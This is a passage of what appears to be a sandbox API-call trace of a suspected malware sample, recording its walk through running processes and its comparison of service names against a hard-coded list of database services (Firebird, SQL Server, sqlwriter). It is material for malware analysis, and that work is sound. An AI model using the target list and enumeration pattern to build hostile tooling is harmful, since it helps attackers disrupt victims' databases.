th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0147.647] lstrlenW (lpString="lsass.exe") returned 9 [0147.647] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0147.647] lstrlenW (lpString="lsm.exe") returned 7 [0147.647] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.647] lstrlenW (lpString="svchost.exe") returned 11 [0147.647] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.648] lstrlenW (lpString="svchost.exe") returned 11 [0147.648] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.648] lstrlenW (lpString="svchost.exe") returned 11 [0147.648] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.649] lstrlenW (lpString="svchost.exe") returned 11 [0147.649] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.649] lstrlenW (lpString="svchost.exe") returned 11 [0147.649] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0147.649] lstrlenW (lpString="audiodg.exe") returned 11 [0147.649] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.650] lstrlenW (lpString="svchost.exe") returned 11 [0147.650] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0147.650] lstrlenW (lpString="userinit.exe") returned 12 [0147.650] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.650] lstrlenW (lpString="explorer.exe") returned 12 [0147.650] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0147.651] lstrlenW (lpString="dwm.exe") returned 7 [0147.651] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.651] lstrlenW (lpString="svchost.exe") returned 11 [0147.651] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0147.651] lstrlenW (lpString="n.exe") returned 5 [0147.651] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0147.652] lstrlenW (lpString="spoolsv.exe") returned 11 [0147.652] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.652] lstrlenW (lpString="svchost.exe") returned 11 [0147.652] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0147.653] lstrlenW (lpString="taskhost.exe") returned 12 [0147.653] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0147.653] lstrlenW (lpString="reader_sl.exe") returned 13 [0147.653] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0147.653] lstrlenW (lpString="rundll32.exe") returned 12 [0147.653] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0147.654] lstrlenW (lpString="dllhost.exe") returned 11 [0147.654] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0147.654] lstrlenW (lpString="dinotify.exe") returned 12 [0147.654] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0147.654] lstrlenW (lpString="n.exe") returned 5 [0147.654] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0147.655] lstrlenW (lpString="cmd.exe") returned 7 [0147.655] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.655] lstrlenW (lpString="conhost.exe") returned 11 [0147.655] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0147.655] CloseHandle (hObject=0x190) returned 1 [0147.655] Sleep (dwMilliseconds=0x1f4) [0148.245] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x726318 [0148.246] EnumServicesStatusExW (in: hSCManager=0x726318, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0148.246] GetLastError () returned 0xea [0148.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1178) returned 0x69bd88 [0148.246] EnumServicesStatusExW (in: hSCManager=0x726318, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bd88, cbBufSize=0x1178, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bd88, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0148.246] CloseServiceHandle (hSCObject=0x726318) returned 1 [0148.247] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0148.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.247] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0148.247] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0148.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0148.247] lstrlenW (lpString="AudioSrv") returned 8 [0148.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0148.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0148.247] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0148.247] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0148.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0148.247] lstrlenW (lpString="BFE") returned 3 [0148.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0148.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0148.247] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0148.247] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0148.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0148.247] lstrlenW (lpString="CryptSvc") returned 8 [0148.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0148.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0148.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0148.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0148.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0148.247] lstrlenW (lpString="CscService") returned 10 [0148.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0148.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0148.248] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0148.248] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0148.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0148.248] lstrlenW (lpString="DcomLaunch") returned 10 [0148.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0148.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0148.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0148.248] lstrlenW (lpString="Dhcp") returned 4 [0148.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0148.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0148.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0148.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0148.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0148.248] lstrlenW (lpString="Dnscache") returned 8 [0148.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0148.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0148.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0148.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0148.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0148.248] lstrlenW (lpString="DPS") returned 3 [0148.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0148.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0148.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0148.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0148.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0148.248] lstrlenW (lpString="eventlog") returned 8 [0148.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0148.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0148.249] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0148.249] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0148.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0148.249] lstrlenW (lpString="EventSystem") returned 11 [0148.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0148.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0148.249] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0148.249] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0148.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0148.249] lstrlenW (lpString="gpsvc") returned 5 [0148.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0148.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0148.249] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0148.249] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0148.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0148.249] lstrlenW (lpString="iphlpsvc") returned 8 [0148.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.249] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0148.249] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0148.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0148.249] lstrlenW (lpString="LanmanServer") returned 12 [0148.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0148.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0148.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0148.249] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0148.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0148.249] lstrlenW (lpString="LanmanWorkstation") returned 17 [0148.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0148.250] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0148.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0148.250] lstrlenW (lpString="lmhosts") returned 7 [0148.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0148.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0148.250] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0148.250] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0148.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0148.250] lstrlenW (lpString="MMCSS") returned 5 [0148.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0148.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0148.250] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0148.250] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0148.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0148.250] lstrlenW (lpString="MpsSvc") returned 6 [0148.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0148.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0148.250] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0148.250] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0148.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0148.250] lstrlenW (lpString="Netman") returned 6 [0148.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0148.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0148.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0148.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0148.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0148.250] lstrlenW (lpString="netprofm") returned 8 [0148.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0148.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0148.250] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0148.250] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0148.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0148.251] lstrlenW (lpString="NlaSvc") returned 6 [0148.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0148.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0148.251] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0148.251] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0148.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0148.251] lstrlenW (lpString="nsi") returned 3 [0148.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0148.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0148.251] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0148.251] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0148.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0148.251] lstrlenW (lpString="PcaSvc") returned 6 [0148.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0148.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0148.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0148.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0148.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0148.251] lstrlenW (lpString="PlugPlay") returned 8 [0148.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0148.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0148.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0148.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0148.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0148.251] lstrlenW (lpString="Power") returned 5 [0148.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0148.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0148.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0148.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0148.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0148.252] lstrlenW (lpString="ProfSvc") returned 7 [0148.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0148.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0148.252] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0148.252] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0148.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0148.252] lstrlenW (lpString="RpcEptMapper") returned 12 [0148.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.252] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0148.252] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0148.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0148.252] lstrlenW (lpString="RpcSs") returned 5 [0148.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0148.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0148.252] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0148.252] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0148.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0148.252] lstrlenW (lpString="SamSs") returned 5 [0148.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0148.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0148.252] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0148.252] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0148.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0148.252] lstrlenW (lpString="Schedule") returned 8 [0148.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0148.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0148.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0148.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0148.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0148.253] lstrlenW (lpString="SENS") returned 4 [0148.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0148.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0148.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0148.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0148.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0148.253] lstrlenW (lpString="ShellHWDetection") returned 16 [0148.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.253] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0148.253] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0148.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0148.253] lstrlenW (lpString="Spooler") returned 7 [0148.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0148.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0148.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0148.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0148.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0148.253] lstrlenW (lpString="SysMain") returned 7 [0148.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0148.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0148.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0148.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0148.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0148.253] lstrlenW (lpString="Themes") returned 6 [0148.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0148.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0148.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0148.253] 